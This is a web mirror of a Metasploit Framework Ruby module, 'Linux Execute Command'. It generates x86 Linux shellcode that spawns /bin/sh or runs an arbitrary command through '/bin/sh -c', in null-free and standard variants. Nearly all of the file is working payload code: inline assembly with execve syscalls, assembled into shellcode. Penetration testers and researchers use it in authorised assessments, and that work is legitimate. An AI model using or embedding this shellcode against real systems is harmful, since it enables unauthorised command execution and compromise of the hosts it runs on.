CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/x86/exec.rb
Views: 11782
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
###
7
#
8
# Exec
9
# ----
10
#
11
# Executes an arbitrary command.
12
#
13
###
14
module MetasploitModule
15
16
CachedSize = 43
17
18
include Msf::Payload::Single
19
include Msf::Payload::Linux
20
21
def initialize(info = {})
22
super(merge_info(info,
23
'Name' => 'Linux Execute Command',
24
'Description' => 'Execute an arbitrary command or just a /bin/sh shell',
25
'Author' => ['vlad902',
26
'Geyslan G. Bem <geyslan[at]gmail.com>'],
27
'License' => MSF_LICENSE,
28
'References' => [ ['URL', 'https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm'],
29
['URL', 'https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm'] ],
30
'Platform' => 'linux',
31
'Arch' => ARCH_X86
32
))
33
34
# Register exec options
35
register_options(
36
[
37
OptString.new('CMD', [ false, "The command string to execute" ]),
38
])
39
register_advanced_options(
40
[
41
OptBool.new('NullFreeVersion', [ true, "Null-free shellcode version", false ])
42
])
43
end
44
45
def generate(opts={})
46
cmd = datastore['CMD'] || ''
47
nullfreeversion = datastore['NullFreeVersion']
48
if cmd.empty?
49
#
50
# Builds the exec payload which executes a /bin/sh shell.
51
# execve("/bin/sh", NULL, NULL)
52
#
53
if nullfreeversion
54
# 21 bytes (null-free)
55
payload = <<-EOS
56
xor ecx, ecx ; ecx = NULL
57
mul ecx ; eax and edx = NULL
58
mov al, 0xb ; execve syscall
59
push ecx ; string '\0'
60
push 0x68732f2f ; "//sh"
61
push 0x6e69622f ; "/bin"
62
mov ebx, esp ; pointer to "/bin//sh\0" cmd
63
int 0x80 ; bingo
64
EOS
65
else
66
# 20 bytes (not null-free)
67
payload = <<-EOS
68
xor ecx, ecx ; ecx = NULL
69
mul ecx ; eax and edx = NULL
70
mov al, 0xb ; execve syscall
71
push 0x0068732f ; "/sh\0"
72
push 0x6e69622f ; "/bin"
73
mov ebx, esp ; pointer to "/bin/sh\0" cmd
74
int 0x80 ; bingo
75
EOS
76
end
77
else
78
#
79
# Dynamically builds the exec payload based on the user's options.
80
# execve("/bin/sh", ["/bin/sh", "-c", "CMD"], NULL)
81
#
82
pushw_c_opt = "dd 0x632d6866" # pushw 0x632d (metasm doesn't support pushw)
83
if nullfreeversion
84
if cmd.length > 0xffff
85
raise RangeError, "CMD length has to be smaller than %d" % 0xffff, caller()
86
end
87
if cmd.length <= 0xff # 255
88
breg = "bl"
89
else
90
breg = "bx"
91
if (cmd.length & 0xff) == 0 # let's avoid zeroed bytes
92
cmd += " "
93
end
94
end
95
mov_cmd_len_to_breg = "mov #{breg}, #{cmd.length}"
96
# 47/49 bytes without cmd (null-free)
97
payload = <<-EOS
98
xor ebx, ebx
99
mul ebx
100
mov al, 0xb
101
push edx
102
#{pushw_c_opt} ; "-c"
103
mov edi, esp
104
jmp tocall ; jmp/call/pop cmd address
105
afterjmp:
106
pop esi ; pop cmd address into esi
107
#{mov_cmd_len_to_breg} ; mov (byte/word) (bl/bx), cmd.length
108
mov [esi+ebx], dl ; NUL '\0' terminate cmd
109
push edx
110
push 0x68732f2f ; "//sh"
111
push 0x6e69622f ; "/bin"
112
mov ebx, esp
113
push edx
114
push esi
115
push edi
116
push ebx
117
mov ecx, esp
118
int 0x80
119
tocall:
120
call afterjmp ; call/pop cmd address
121
db "#{cmd}"
122
EOS
123
else
124
# 36 bytes without cmd (not null-free)
125
payload = <<-EOS
126
push 0xb
127
pop eax
128
cdq
129
push edx
130
#{pushw_c_opt} ; "-c"
131
mov edi, esp
132
push 0x0068732f ; "/sh\0"
133
push 0x6e69622f ; "/bin"
134
mov ebx, esp
135
push edx
136
call continue
137
db "#{cmd}", 0x00
138
continue:
139
push edi
140
push ebx
141
mov ecx, esp
142
int 0x80
143
EOS
144
end
145
end
146
Metasm::Shellcode.assemble(Metasm::Ia32.new, payload).encode_string
147
end
148
end
149
150